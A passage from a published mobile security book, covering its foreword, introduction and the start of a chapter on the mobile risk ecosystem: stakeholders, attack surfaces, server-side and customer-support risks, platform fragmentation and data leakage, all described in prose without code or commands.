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FOREWORD
Since the mid-1990s, mobile devices have gone through a dramatic shift from 

monolithic, single-purpose computers to general-purpose computing environments. 
The first-generation digital mobile phones were embedded systems with little room 

for third-party software. With the advent of J2ME in 1999 and BREW in 2001, the baseband 
processors on mobile phones started doing double duty as application processors for 
third-party software. For the first time, consumers could choose the applications to run 
on their phones.

The evolution of mobile devices from embedded systems to what we think of as 
modern computing platforms followed a well-worn path, described by Daniel P. 
Siewiorek, C. Gordon Bell, and Allen Newell in Computer Structures: Principles and 
Examples, along the same progression that mainframe computers, minicomputers, and 
desktop computers had followed. Mobile devices evolved from single-function firmware 
to installable software and robust application environments, from single-threaded 
systems with slow processors, limited memory, and limited operating system capabilities 
to multitasking systems with high-speed processors, extensive memory, specialized 
coprocessors, and operating system capabilities comparable to desktop computers.

Mobile devices today have computing power and network throughput at a similar 
scale to desktop computers, and audio and video capabilities to match. Arguably, the 
ever-present 3G and 4G mobile networks give mobile phones even more pervasive access 
to online resources than desktop computers. Mobile devices, however, have some 
capabilities and limitations that set them apart from other computing environments.

User interaction on mobile devices is constrained. Once crude input and displays 
limited user interaction, now the physical size of the device is the main limitation, 
restricting the amount of information mobile devices can display and the options for 
user input. When you factor in the capabilities of human eyesight and typical viewing 
distances, a laptop computer could display ten times the information of a mobile phone. 
Touchscreens increase the target size of on-screen controls to compensate for the natural 
size of fingertips, which further limits the scope of operations available to users of mobile 
devices.
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The size of mobile devices gives them a distinct advantage in portability, making it 
possible for users to carry these devices with them at all times. A quick shift from idle to 
active modes allows immediate access to computing resources. Users often interact with 
mobile devices for only a few seconds or a few minutes. The immediacy and pervasiveness 
of mobile devices allows us to use them in a distinctly personal context. We rely on them 
for our most intimate communications, and we use them for our most personal 
information.

Mobile devices have hardware capabilities that are uncommon in other computing 
environments. Touch screens are common and are often augmented with motion sensors. 
Positioning systems, whether GPS or network based, are mandated by regulation. 
Environmental sensors such as temperature, light, and proximity are also common. All 
these features provide mobile devices with additional data that is potentially personal 
and private.

In a desktop computing environment, end users (or their IT departments) typically 
have insight into and even responsibility for the workings of the computer operating 
system. On a desktop computer, users can read the log files and change software 
configurations. The mobile environment generally obscures the operating system from 
ordinary users, so that users typically cannot monitor its activities. Third-party software 
in mobile devices often runs within a sandboxed environment, with controlled access to 
operating system functions and restrictions on interacting with other applications. Unlike 
desktop computing environments, a central application distributor often curates and 
controls third-party software on mobile devices, to a greater or lesser extent.

The challenge for mobile application developers is to provide a relevant mobile 
experience, rich in personal information. Mobile applications need to take advantage of 
the computing and connectivity capabilities of the platform because users have come to 
expect instant responsiveness and a constant flow of information from services on the 
network. At the same time, application developers need to hide the complexities of their 
applications from users, by simplifying configuration and silently handling error 
conditions. Mobile devices are generally consumer-oriented platforms, which makes it 
difficult for enterprise developers to deliver services that meet their requirements while 
meeting their internal compliance obligations. Developers ultimately have the 
responsibility of delivering a service and a brand that end users can trust.

All these things present new challenges to security in the mobile environment that go 
beyond the familiar challenges of other computing environments. Mobile applications 
rely on frequent communication between client and server, and depend heavily on 
servers to store and process data, which means that personal information is present both 
on the device and in the cloud. Mobile device hardware provides sensitive personal 
information, such as the user’s location, which must be appropriately protected. There 
are limited opportunities to mitigate security flaws because the operating system is 
generally protected and not extensible, and the cycles for bug fixes are longer.

The interface constraints of mobile devices make complex security interactions with 
users impractical. There are limited cues to inform users if something is wrong, and it is 
difficult for users to investigate or resolve issues on their own. On a mobile device, even 
common interactions like logging in with a username and password are tedious. Mobile 
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application developers must make security decisions on behalf of the users, both to 
improve usability and because users would not have the capability to reconfigure mobile 
applications. In this restricted environment, users have to rely on an assumption of trust 
in the application developer. Breaching this trust can significantly damage the developer’s 
brand.

Mobile phones have established their place in the realm of computing, as platforms 
for rich applications, extending our computing resources from desktop and cloud, and 
as a new environment for stand-alone applications. The features that make mobile 
phones interesting and useful are also the features that make them challenging to develop 
products for and make them challenging to secure. This book directly addresses these 
challenges, with detailed guidelines for mobile application developers, with an approach 
that starts with threat modeling and delves deeper into secure coding and software 
maintenance practices specific to mobile applications. This book provides specific details 
on mobile networks and the iOS and Android platforms to assist developers in securing 
their applications. It also covers server-side security and topics relevant to enterprise 
users of mobile devices and applications, as well as the specialized and developing area 
of mobile payments. Hacking Exposed™: Mobile Security Secrets & Solutions is a valuable 
resource for anyone developing, publishing, managing, or using mobile applications, 
and an insightful guide for industry observers.

—Kai Johnson
Chief Architect

Isis Mobile Commerce
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INTRODUCTION
WHY THIS BOOK?

Mobile is living up to the hype as the next great technology revolution, rivaling the 
Internet in its game-changing impact. Of course, with great change comes potential 
risk—is there a magic bullet to secure the inevitable adoption of mobile everywhere? 
This book presents the latest mobile security trends and observations from the field by 
some of the leading practitioners in mobile security worldwide.

WHO SHOULD READ THIS BOOK
In many ways, this book is a wake-up call for anyone who uses a mobile device. The 
world-in-the-palm-of-your-hands power that these devices convey has a dark side in the 
event of loss or theft. This book will show you the many ways you can find yourself on 
that dark side, and how to get out.

We particularly focus our mobile security advice in this book on the following 
audiences:

• Mobile app developers

• Corporate IT staff

• IT consultants

• Technology managers and leaders

• End-users

These are the people we work with daily to identify and fix the many issues we’ll recount 
in these pages, so naturally our writing is directed at those who can make the most 
difference in directly and indirectly changing the evolving mobile technology environment 
to make it safer for everyone.
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We’ve also focused our discussion on the two leading mobile platforms today: 
Apple’s iOS and Google’s Android mobile operating systems. The market share held by 
these platforms is so dominant at this point that it’s hard to imagine a radically different 
future, so we’ve striven to provide the most relevant technical analysis possible for the 
most-used platforms.

WHAT THIS BOOK COVERS
Way back in 1999, the first edition of Hacking Exposed™ introduced many people to the 
ease with which computer networks and systems are broken into. Although there are 
still many today who are not enlightened to this reality, large numbers are beginning to 
understand the necessity for firewalls, secure operating system configuration, vendor 
patch maintenance, and many other previously arcane fundamentals of information 
system security.

This book shows you how to meet the mobile security challenge with the two-
pronged approach adapted from the original Hacking Exposed™.

First, we catalog the greatest threats your mobile deployment will face and explain 
how they work in excruciating detail. How do we know these are the greatest threats? 
Because we are hired by the world’s largest companies to break into their mobile 
applications, and we use attacks based on these threats daily to do our jobs. And we’ve 
been doing it for many years, researching the most recently publicized hacks, developing 
our own tools and techniques, and combining them into what we think is the most 
effective methodology for penetrating mobile application (in)security in existence.

Once we have your attention by showing you the damage that can be done, we tell 
you how to prevent each and every attack. Deploying a mobile application without 
understanding the information in this book is roughly equivalent to driving a car without 
seat belts—down a slippery road, over a monstrous chasm, with no brakes, and the 
throttle jammed on full.

HOW TO USE THIS BOOK
The ancient debate: start with page one or jump to the good parts? We say: both!

Clearly, this book could be read from start to finish for a soup-to-nuts portrayal of 
mobile application security testing and remediation. However, true to the original 
Hacking Exposed™ model, we have attempted to make each chapter stand on its own, so 
the book can be digested in modular chunks, suitable to the frantic schedules of our 
target audience.

Moreover, we have strictly adhered to the clear, readable, and concise writing style 
that readers overwhelmingly responded to in Hacking Exposed™. We know you’re busy, 
and you need the straight scoop without a lot of doubletalk and needless jargon. As a 
reader of Hacking Exposed™ once commented, “Reads like fiction, scares like hell!”
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We think you will be just as satisfied reading from beginning to end as you would 
piece by piece, but it’s built to withstand either treatment.

HOW IS THIS BOOK ORGANIZED?
As we recount in more detail in Chapter 1, this book is designed to explore the most 
important components of the mobile risk ecosystem, from the various perspectives noted 
earlier (mobile app developers, corporate IT staff, IT consultants, technology managers 
and leaders, and end-users). Based on this list of players, and on our own experiences 
with mobile security through hands-on research over the last several years, we’ll cover 
topics including the following:

Chapter Topic Description

1 The Mobile Risk 
Ecosystem

Mobile malware, BYOD, lions, tigers, and 
bears, oh my! Where to start with mobile 
security? We’ll try to untangle the lies and 
videotape with a broad overview of key 
mobile stakeholders, assets, risks, and trends.

2 Cellular network As with physical attacks, if you connect to 
a malicious cellular network, it’s not your 
mobile device anymore.

3 iOS Is Apple’s walled-garden business strategy 
also a reliable security architecture? 

4 Android Can even the mighty technical and fi nancial 
resources of Google overcome the wild 
frontier of the current Android ecosystem?

5 Mobile malware It’s a rapidly evolving jungle out there. What 
defensive strategies can you learn from the 
tools and techniques used across the spectrum 
from simple to sophisticated mobile malware?

6 Mobile services 
and mobile web

Don’t be fooled by the pretty devices—the real 
action in security remains on the server side of 
the equation. Learn the tips and tricks mobile 
services need to adopt to keep the walls of the 
fort from crumbling.

7 Mobile device 
management

How high does MDM raise the bar for 
attackers, and is the investment worth it 
relative to the most likely attack scenarios?
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Chapter Topic Description

8 Mobile app 
development 
security

Design and implementation guidance for 
developers who want to demonstrate due care 
in their apps.

9 Mobile payments New services like Google Wallet represent 
the fi rst large-scale use of mobile for truly 
sensitive data and transactions. What 
can we learn from the designs, published 
vulnerabilities, and evolving strategies of 
these cutting-edge offerings?

Appendixes Miscellaneous Here we also tackle some tactical topics like a 
mobile end-user (consumer) security checklist 
and a professional’s mobile pen test toolkit.

A lot of combined experience from some of the top mobile security consultants in the 
world is packed into these pages—how will you use it?

Here are some more features of this book that we hope will help.

THE BASIC BUILDING BLOCKS: ATTACKS AND 
COUNTERMEASURES

As with Hacking Exposed™, the basic building blocks of this book are the attacks and 
countermeasures discussed in each chapter.

The attacks are highlighted here as they are throughout the Hacking Exposed™ 
series:

This Is an Attack Icon
Highlighting attacks like this makes it easy to identify specific penetration-testing tools 
and methodologies and points you right to the information you need to convince 
management to fund your new security initiative.

We have also followed the Hacking Exposed™ line when it comes to countermeasures, 
which follow each attack or series of related attacks. The countermeasure icon remains 
the same:

This Is a Countermeasure Icon
This should be a flag to draw your attention to critical-fix information.
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Other Visual Aids
We’ve also made prolific use of visually enhanced

icons to highlight those nagging little details that often get overlooked.

ONLINE RESOURCES AND TOOLS
Mobile security is a rapidly changing discipline, and we recognize that the printed word 
is often not the most adequate medium to keep current with all of the new happenings 
in this vibrant area of research.

Thus, we have created a website that tracks new information relevant to topics 
discussed in this book, along with errata and a compilation of the public-domain tools, 
scripts, and techniques we have covered throughout the book. That site address is

http://www.mobilehackingexposed.com

It also provides a forum to talk directly with the authors. We hope you return to the 
site frequently as you read through these chapters to view any updated materials, gain 
easy access to the tools that we mentioned, and otherwise keep up with the ever-changing 
face of mobile security. Otherwise, you never know what new developments may 
jeopardize your mobile devices before you can defend yourself against them.

A FINAL WORD TO OUR READERS
We’ve poured our hearts, minds, and combined experience into this book, and we 
sincerely hope that all of our effort translates to tremendous time savings for those of 
you responsible for securing mobile infrastructure and applications. We think you’ve 
made a courageous and forward-thinking decision to stake your claim on the new mobile 
frontier—but, as you will discover in these pages, your work only begins the moment the 
app goes live. Don’t panic—start turning the pages and take great solace that when the 
next big mobile security calamity hits the front page, you won’t even bat an eye.

00_FM.indd   xxvii 6/19/2013   12:33:24 AM

http://www.mobilehackingexposed.com


This page intentionally left blank 



1

1

The Mobile 

Risk Ecosystem

01-ch01.indd   1 6/19/2013   12:38:09 AM

www.allitebooks.com

http://www.allitebooks.org


2 Hacking Exposed: Mobile Security Secrets & Solutions 

Mobile malware, BYOD, lions, tigers, and bears, oh my. Where to start with 
mobile security? Is mobile an entirely new paradigm that should cause us to 
reevaluate everything we’ve tried before? Or just a more aggressive flavor of 

client-server computing? Naturally inclined to fear, uncertainty, and doubt (FUD)—and 
to selling you more products—the technology industry won’t provide a compelling 
answer. Neither will its distant cousin, the security industry. We’ll try to disentangle the 
lies and videotape in this chapter.

THE MOBILE ECOSYSTEM
A famous line from Aladdin, one of our favorite movies is: “Phenomenal cosmic power—
itty bitty living space.” This describes the mobile ecosystem exactly. Perhaps at no other 
time in the history of computing have we crammed so much into such a small form 
factor: powerful processors, portability, features (cameras, GPS), email/web, apps, all 
hyperconnected to ubiquitous over-the-air (OTA) communications networks (both wide 
area networks like cellular, and close-in networks like Bluetooth). The ad copy is true: 
mobile is a game-changer in many ways. Let’s take a look at some of the key elements of 
the phenomenon.

Scale
We’re awash in statistics about the scale of the mobile phenomenon. Here’s a handful of 
example stats from the mobile marketing site mobithinking.com:

• >300,000 Mobile apps developed in three years (2007–2010)

• $1 billion Mobile startup Instagram’s value within 18 months

• 1.1 billion Mobile banking (m-banking) customers by 2015

• 1.2 billion Mobile broadband users in 2011

• 1.7 billion Devices shipped in 2012 (an increase of 1.2 percent over 2011)

• 6 billion Mobile subscriptions worldwide (China and India account for 
30 percent)

• $35 billion Estimated value of app downloads in 2014

• 76.9 billion Estimated number of app downloads in 2014

• $1 trillion Mobile payments (m-payments) estimated in 2015

• 8 trillion Estimated number of SMS messages sent in 2011
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Judging by the sheer numbers, mobile is a tidal wave that is flooding into every 
aspect of our lives. But you don’t need cold, dry statistics to prove this—you almost 
certainly own a mobile device and probably several. And you rely on it heavily each day, 
for things ranging from the critical to the sublime: emergency phone calls, important 
communications (voice, text, email), getting to appointments on time using calendar and 
location services, keeping up relationships through Facebook and Twitter, playing games 
like Angry Birds, watching movies and TV, reading newspapers and magazines—we do 
nearly everything on mobile devices today, and it’s hard to imagine how we could live 
without them.

We could go on, of course, but there are plenty of other sources for exploration of the 
mobile phenomenon in general, and we’re here for a more limited purpose: to talk about 
the security implications of all this seemingly good stuff.

Perceived Insecurity
OK, so it looks like this mobile thing is pretty important. It is arguably one of the most 
important developments in technology since the Internet. Unfortunately, as with the 
Internet, security seems to have been an afterthought.

Every day you are probably bombarded with information that overwhelms and 
frightens you. Here are some examples:

• McAfee’s quarterly Threats Report indicated that mobile malware exploded 
1,200 percent in the fi rst quarter of 2012 over the last, or fourth, quarter of 2011.

• Trend Micro predicted 60 percent month-on-month malware growth on 
Android in 2012.

• IBM X-Force predicted that in 2011 “exploits targeting vulnerabilities that affect 
mobile operating systems will more than double from 2010.”

• Apple’s iOS had a greater than sixfold increase in “Code Execution” 
vulnerabilities, as tracked by CVE number, from 2011 to September 2012 (nearly 
85 percent of the 2012 vulnerabilities were related to the WebKit open source 
web browser engine used by Apple’s Safari browser).

These sorts of “sky is falling” trend reports are expected when technological change 
occurs at the scale of mobile, of course. We’ve come to appreciate them and have drawn 
our own stereotypical replica in Figure 1-1.

Lions, and tigers, and bears, oh my! How can these pesky mobile devices be so darn 
popular if the security is so bad? Let’s pop the hood and take a look at the mechanics of 
the mobile risk ecosystem.
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THE MOBILE RISK MODEL
OK, so far we’ve established that

• Mobile is huge.

• Mobile seems really insecure.

What do we do now?!?
Here’s what may be a shocking answer: the same thing we’ve done before! Despite 

all the hype, we submit that mobile is “the same problem, different day.” Fundamentally, 
we are still talking about a client-server architecture:

Client Server

OK, we may have exaggerated a bit, but not much. Let’s enhance this over-simplified 
view with a bit more detail. Consider, from the client’s perspective, the classic 3-tier 
architecture that we used throughout the ’90 s and ’00s modified to be a mobile architecture, 
as shown in the next illustration:
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Figure 1-1 A typical mobile threat graph produced by industry
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The diagram highlights the differences, numbered and described here:

 1. Native code Native applications may be written in languages that 
execute without the benefi t of a virtual machine or rigorous sandbox. These 
applications may be written in unsafe languages (for instance, Objective-C) 
and have increased access to other apps and resources as compared to browser-
based apps. Even when mobile platforms implement app sandboxing, the user 
is quickly coerced into granting broad and powerful permissions that easily 
bypass much of the platform-provided controls.

 2. OS access Software running in a browser has limited access to the underlying 
OS, its libraries, fi le system access, interprocess communication, and its system 
calls.

 3. Internet access Whereas home PCs, and to an extent laptops, often connect 
from a home network, mobile devices commonly use their mobile carrier’s 
network and public WiFi to connect to the Internet. These means of access may 
provide increased opportunity for man-in-the-middle (MiTM) attacks.

As you’ll see throughout this book, most threats against mobile apps are variations on MiTM, whether 
it be MiTB (browser), MiTOS (operating system), or good old-fashioned MiTM (network) as we’ve 
noted. This is a natural consequence of the mobile model from the app perspective—it’s surrounded 
by hostile (or at least semitrusted) software.

We must start by reusing the many lessons we’ve learned to date about securing 
distributed computing systems. Not that we’ve really implemented them well (take the 
continued widespread use of the lowly password as one example), but that doesn’t mean 
we should throw the baby out with the bathwater. We’ll apply what we learned in 
securing previous architectures while pointing out the specific differences of architectures 
involving mobile devices.
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One might call this approach sticking to the fundamentals. The fundamentals are the 
things that previous generations have learned that have stood the test of time and persist 
to this day because they tend to work better than other approaches.

One our favorite fundamentals is that security begins with understanding the risk 
model. We’ll look at mobile threat modeling in more depth in Chapter 8 and expand on 
these themes later in this chapter, but here’s a short preview.

Understanding the risk model means first asking the question: Who are the 
stakeholders? This is another key realm in which mobile platforms introduce new 
considerations. Numerous stakeholders are vying for control of the itty-bitty living space 
on the typical mobile device, including:

• Mobile network operators (MNOs, aka carriers, telcos, and the #$%&* 
companies who drop our calls all the time)

• Device manufacturers (aka OEMs, hardware manufacturers, and so on)

• Mobile operating system (OS) vendors like Apple and Google

• Application Store curators (for example, Apple, Google, Amazon, and so on)

• Organizational IT (for example, corporate security’s mobile device management 
software)

• Mobile application developers

• End users

This list shows various stakeholders interested in a single user device. For iPhones, 
Apple serves as the curator, manufacturer, and OS author. Devices running Android 
often possess more stakeholders.

Once we understand who possesses a stake, our next question is, What items are 
valuable to these stakeholders? (We call these assets.) Interestingly, each stakeholder 
places different values on assets within the mobile device. For instance, the OS 
manufacturer looks at all applications as a threat. The phone’s user is a threat to the OS 
as well; they may try to jailbreak the phone as soon as they get it home. To the phone’s 
user, however, the OS may be a threat, violating their privacy by capturing data and 
exporting it for “statistical purposes.” Applications preloaded by the MNO could be 
perceived similarly.

Threats attack each stakeholder’s assets by interacting with attack surfaces. Browser-
based Internet applications mostly confine the attack surface to the Internet connection 
itself, a server’s data stores, or a browser’s rendering and scripting engines (also 
remember that most mobile development frameworks define mechanisms for displaying 
web views just like a browser, embedded relatively seamlessly within native apps). 
Applications built for mobile devices share these surfaces but add a few special ones, as 
shown in the next illustration:
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This illustration contains some attack surfaces specific to mobile devices:

• Physical theft allows access to the user interface, physical storage, the IO bus, 
and the radios. The opportunity for a threat to gain access to a physical device 
probably represents the singular largest difference between mobile devices and 
other client endpoints.

• App publication allows the threat to distribute either a Trojan horse application 
or other malware centrally with an appearance of legitimacy based on the 
curator’s endorsement. And, as we already mentioned, the threat’s app may 
have relaxed access to OS resources, interprocess communication, and an un-
sandboxed environment with which to attack its victim, depending on the state 
of the mobile platform (jailbroken/rooted), weak app permission confi guration, 
end-users’ over-permissive settings, and so on).

Given the available surfaces, we ask a third fundamental question to complete our 
risk model: what risks are relevant to these assets from each stakeholder’s perspective? 
Only from these fundamental premises can you adapt your design and development 
process to mitigate these risks.

You may have different names for this process: risk modeling, design review, architecture risk analysis, 
threat modeling. We’re not going to quibble with terminology here, only seek to illustrate the fundamental 
role of risk in the security conversation.

Once you’ve established the risk model, you can design against it and more rationally 
adapt downstream processes (for example, check implementation using things like code 
review and penetration testing). You also need to learn from the process and ensure 
people are trained so they don’t keep making the same mistakes. This starts to look like 
a “security in the development lifecycle”–type process at some point, as illustrated in 
Figure 1-2.
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8 Hacking Exposed: Mobile Security Secrets & Solutions 

Because the risk model is the most important thing, let’s take a high-level overview 
of the mobile risk environment. What are some of the things we can say about the mobile 
risk model in general?

Even though we believe things have not fundamentally changed, some things are 
different on mobile. Clearly, the client-side threat model is much more aggressive, given 
the promiscuous exposure to communications (wide area and close-in), physical access, 
plus the usual software attack and exfiltration vectors like email, mobile web, and apps.

And the impact of compromise is much more “personal”: location, camera/photos, 
instant messaging—there are plenty of embarrassed public figures who can attest to this. 
Can Weiner have been a more unfortunate surname? (Sorry, we couldn’t resist.)

Phenomenal cosmic power … itty bitty living space.
But once again, this does not mean that the task of securing mobile is fundamentally 

different. It just means you have to understand the changes to the risk model and be able 
to communicate them clearly to stakeholders, with practical mitigations in hand. Same 
ol’ job, different day for you old security pros out there. We’ve already taken a high-level 
overview of the mobile threat model, so let’s take a deeper look at some more specific 
differences.

Figure 1-3 shows our idealized mobile application ecosystem. Of course, any “real” 
risk model is going to be customized for the given scenario. This is a generic model to 
highlight some of the things we’ve observed in our consulting and research. Let’s talk 
about some of these areas of risk in greater detail next.

Risk model

“vNext”

Development
lifecycle

Code review &
pen testing

Secure
design

Training

Figure 1-2 The key to security is fi rst understanding the risk model—from there, you can more 
rationally adapt downstream security processes.
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Physical Risks
Risk Area #1 in Figure 1-3 illustrates one truth we continue to relearn as an industry: 
physical access to the device is impossible to defend against for very long. The whole 
rooting/jailbreaking phenomenon proves this in spades. Neither Google nor Apple (two 
very successful companies) have yet to prevent this because it is very hard and probably 
impossible. In our consulting and research, we have yet to find a mobile app that we 
could not defeat given physical access, including many rudimentary “anti-rooting” 
mechanisms and even mobile device management (MDM) software. If your mobile risk 
model assumes that information can be securely stored indefinitely on a mobile device, 
you are probably starting from faulty assumptions and will have to relearn this painful 
lesson the hard way if there is ever a breach. This entire book is infused with the basic 
assumption that physical compromise is a high-probability outcome, and you will see 
each of the chapters reflect this immutable fact.

We hold these truths to be self-evident: Immutable Laws of Computer Security #3 states “If a bad guy 
has unrestricted physical access to your computer, it’s not your computer anymore,” technet.microsoft
.com/en-us/library/cc722487.aspx.
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Figure 1-3 A simplifi ed mobile risk model, highlighting key areas of risk, each containing discrete 
mobile risks
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Back in Figure 1-3, physical attack is represented by the cable attached to the bottom 
of the phone, representing the stereotypical “debug” connection that we’ll talk about 
often throughout this book, illustrating time and again that such intimate access to the 
device and the software on it usually means “game over” for the owner of the device and 
any sensitive data stored on it.

One often overlooked corollary of this principle is that close proximity to a mobile 
device is effectively the equivalent of a physical attack. In other words, if an adversary 
can get close enough to you with a rogue cellular base station, your phone will join his 
rogue cellular network, and he owns your device at a very low layer (probably 
completely). There is nothing you can do about this today, other than put your device 
in Airplane Mode and use it like an expensive, unconnected brick. In Figure 1-3, we 
represent this risk as #4, next to the “Baseband” stack of radio chip hardware and 
firmware, driving everything from cellular network connectivity to WiFi to Bluetooth, 
GPS, Near Field Communication (NFC), and so on. We’ll discuss the rogue cellular base 
station attack more in Chapter 2.

Service Risks
Moving on to Risk Area #2 in Figure 1-3, where does the next major area of risk arise in 
the mobile ecosystem? Not where you might expect…

Naturally, most of the attention on mobile focuses on the mobile device and associated 
client-side software. Contrary to this focus, we actually observe more problems on the 
server side in our consulting and research. For example, on a recent long-term consulting 
engagement, ~65 percent of bugs were service-side versus ~25 percent on the mobile 
client.

Of course, most of the code/logic is on the server side also, so this is not unexpected. 
Also, if you’ve designed things correctly, that’s where the valuable data resides anyway. 
Attackers go “where the money is” à la Willie Sutton, the notorious bank robber who is 
rumored to have answered “because that’s where the money is” when asked why he 
robbed banks. We’ve highlighted generic service-side risk as #8 in Figure 1-3.

Another often overlooked aspect of modern Internet-based applications is customer 
support. This oversight is unfortunate because a modern Willie Sutton probably would’ve 
gone after it with a vengeance: by design, support helps people regain access to their 
valuable stuff—a hacker’s dream come true! Some of the most devastating vulnerabilities 
we’ve seen in over 20 years of experience has resulted from support-related issues like 
customer self-help password reset; if you make a mistake here, the consequences can 
have a huge impact. Imagine a flaw that allowed anonymous attackers to reset account 
passwords via the self-help web portal—get the picture? In the consulting engagement 
referenced previously, about 12 percent of bugs were in support-related components. 
However, these tended to be the highest risk: customer password reset vulnerabilities 
similar to the one we just mentioned. We’ve numbered this risk #9 in Figure 1-3, right 
next to the smiling, ever-so-helpful customer support agent.
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For a real-world example of what can go wrong with these interrelationships, see Wired reporter Mat 
Honan’s nightmare story about how hackers from Lulz leveraged customer-support trickery to social 
engineer their way into his Gmail account and then pivoted through his Amazon data; remotely erased 
all of the data on his iPhone, iPad, and MacBook; and hijacked his Twitter account (see wired.com/
gadgetlab/2012/08/apple-amazon-mat-honan-hacking/).

This is such a recurring and important problem, we’re doubling down: for another real-world example 
of a horrible customer support vulnerability, see The Verge’s (theverge.com) March 2013 report on a 
serious vulnerability in Apple’s iForgot self-help password reset tool that allowed anyone with your 
email address and date of birth to reset your password. Ouch.

If there is a silver lining on the service-side, the good ol’ security gateway still 
performs well to protect Internet-facing services. In particular, we have seen products 
like the Vordel Application Gateway (vordel.com) effectively protect mobile service XML 
endpoints from skilled penetration testers. You should definitely consider products like 
Vordel as part of your mobile application security architecture.

App Risks
Last but not least in our ranking of mobile risks, we come to the real interface of rubber 
and road: mobile apps.

Applications (interacting with platform features) are the primary attack surface on 
the mobile client. After all, the apps and the mobile OS are the primary touch points for 
end users and other software, so this is where all the trouble occurs.

The centrality of applications in today’s mobile risk model in some ways mirrors the 
evolution of security on other platforms like the desktop PC: early attacks focused on the 
network layer and then migrated to the OS (and especially the most popular ones, for 
example, Microsoft Windows). More recently, we’ve seen larger numbers of published 
exploits in desktop applications, like web browsers, Adobe Acrobat, and Microsoft 
Office. At the pinnacle of this evolution, we see attacks against “Layer 8,” in other words, 
the human beings operating the technology. Socially driven attacks like phishing 
represent this trend.

With mobile, the relative scarcity of lower-layer published exploits indicates vendors 
are reusing what they’ve learned about network and OS security. However, the Layer 7 
and 8 problems continue to be difficult to conquer, even on mobile. Perhaps even especially 
on mobile, given the closer intimacy between users and applications than in the desktop 
example. One obvious consequence of always-on network connectivity is that it connects 
everyone— to your phone. This is not always a desirable thing, as one possible definition 
of “everyone” could include the character in Figure 1-4.

In fact, so many people are constantly reaching into your mobile phone, that it’s 
probably hard to tell which ones are friendly, even if they told you right up front. Should 
you allow Google Maps to track your location? Do you want Cisco’s WebEx mobile app 
to load when you click a link in a calendar invite? Should you click the link in that SMS 
from AT&T telling you your mobile bill is ready?
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One would hope for a straightforward solution to sort all this out in a way that results 
in a safe mobile experience. Fat chance—because mobile is moving so fast and because 
there are such large numbers at stake (see the stats at the beginning of this chapter), no 
one in the industry is really taking the necessary time to do that. Let’s take a look at some 
common mobile application security issues as examples.

Fragmentation
One security fundamental we’ve learned over the years is that quickly patching 
vulnerable systems usually reduces risk from easy compromise by folks trolling the 
Internet with home-grown malware that exploits unpatched, well-known vulnerabilities. 
Unfortunately, patching your mobile software is challenging owing to one of the key 
features of the current market: fragmentation.

Fragmentation results from one of the age-old debates in the technology industry: 
open versus closed platforms. We are seeing this play out again in the mobile device 
space between today’s two biggest competitors, Google and Apple.

At the time of this writing, even folks like renowned mobile hacker Charlie Miller are 
admitting that Apple iOS is much tougher to victimize because of the rigid controls built 
into the platform: code must be signed by Apple in order to run, address space layout 
randomization (ASLR), better code sandbox, no shell, and so on. On Android, by contrast, 
the need to develop custom OS versions for each device manufacturer creates 
fragmentation that leads to negative security consequences. For example, upgrading to 
the newest version of Android depends on collaboration between the device’s hardware 
vendor and the mobile network operator (MNO), which limits access to new security 

Figure 1-4 The Internet connects everyone—to your phone. This is not always a Good ThingTM.
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features like ASLR and makes distributing security patches and other important updates 
that much harder.

The “closed” Apple platform carved out an early lead in overall smartphone market 
share. Possibly by design, arguably as a side effect, the security record of Apple devices 
remains good. By contrast, the security record of the open Android platform is poor, but 
it has nevertheless quickly become the leader in market share probably because it has the 
mathematical advantage of numbers (Google, Motorola, Samsung, HTC, LG, and so on, 
versus lonely Apple).

We’ve seen this movie before. Microsoft came to dominate the personal computing 
market by licensing its operating system to multiple hardware vendors, even though it 
suffered from a very poor security reputation. Apple ended up marginalized despite a 
reputation for high-quality, well-integrated hardware and software design.

We are watching a market mature all over again—consumers today tend to be more 
accepting of bleeding-edge features and faults, and security is an afterthought. The fact 
that many Android and iOS users root/jailbreak their phones is a prime example of the 
immaturity that persists in the market. Microsoft just culminated a decade-long effort to 
drive PC users not to log in with high-powered administrative accounts. Many variables 
are different today, but the comparison is interesting…(and we are certainly not the first 
ones to make it). As the market matures will the ultimate winner be the higher quality, 
more controlled, secure experience?

One thing is somewhat different from the past: app marketplaces like the Apple App 
Store and Google Play. These centralized app delivery mechanisms are, once again, 
driven not by security, but by the desire to control the user experience, attract developers 
with simple distribution models, and monetize software downloads to devices. But 
whatever the motivation, the result is that there is a central app-patching “channel” 
through which (disciplined) developers can easily send regular updates to their code, 
including security patches. Not even the PC has achieved this sort of centralized catalog 
of third-party software.

Figure 1-5 Closed versus open—which do you choose? Does it affect security?
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Of course, having a channel still doesn’t ensure that patches are created. As alluded 
to earlier, developers still need to be disciplined in obtaining information about security 
vulnerabilities (Microsoft’s Windows Error Reporting, aka “Dr. Watson,” is a great 
example of one way to do this), crafting good security patches, and making them 
available.

There are also side channels that subvert the standard app marketplaces. The most 
popular, of course, is using the mobile device’s web browser to download and install the 
app directly, so-called side-loading. There are also third-party marketplaces for apps that 
can be installed in parallel with the standard ones.

One other difference between today’s fragmented mobile software market and 
yesteryear’s battle between Microsoft and Apple is the numerous mobile device 
manufacturers still dominant today and the diverse Android customizations as a result. 
This diversity can introduce vulnerabilities to specific devices that cannot be fixed 
centrally by Google. For example, Samsung’s TouchWiz interface overlay for Android 
was found to be vulnerable to a single line of code in a malicious web page that could 
wipe the device without user interaction in their Galaxy mobile devices (see 
androidcentral.com/major-security-vulnerability-samsung-phones-could-trigger-
factory-reset-web-browser). Customers had to wait for Samsung to issue new firmware, 
and many older devices are probably still left vulnerable.

Sensitive Information Leakage
Sensitive data leakage is one of the biggest risks on mobile because all data is inherently 
at greater risk while on a mobile device. Unfortunately, many mechanisms are designed 
to squirrel data away in various nooks on mobile devices. In our work, we’ve seen things 
like the following:

• Authentication PINs to Google system logs in debug builds

• Session identifi ers and credentials cached in WebView

• Inappropriate data stored in local SQLite databases

• iOS application snapshots recording screens with sensitive data when the app is 
suspended

• Sensitive credentials like application PINs being logged to the iOS keyboard 
cache

A published example includes US-CERT’s Vulnerability Note VU#251635 “Samsung 
and HTC android phone information disclosure vulnerability” that describes how certain 
Samsung and HTC Android phones store certain user-inputted information in device 
driver logs (the so-called dmesg buffer) that can be accessed by a malicious application. 
Certain manufacturers misconfigured the UNIX file permissions on their ROMs and 
made the dmesg executable available to any application on the mobile device.

Also, remember the “transitive” nature of app sandboxing (aka permission re-
delegation), which occurs when an application with permissions performs a privileged 
task for an application without permissions. For example, if Good App X has permissions 
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to read the Android system logs, Bad App Y may ask X to call the log API on its behalf 
(without user interaction) and thus may be able to see things the developer of X did not 
expect. The Carrier IQ – HTC keystroke logging incident of late 2011 is a great example 
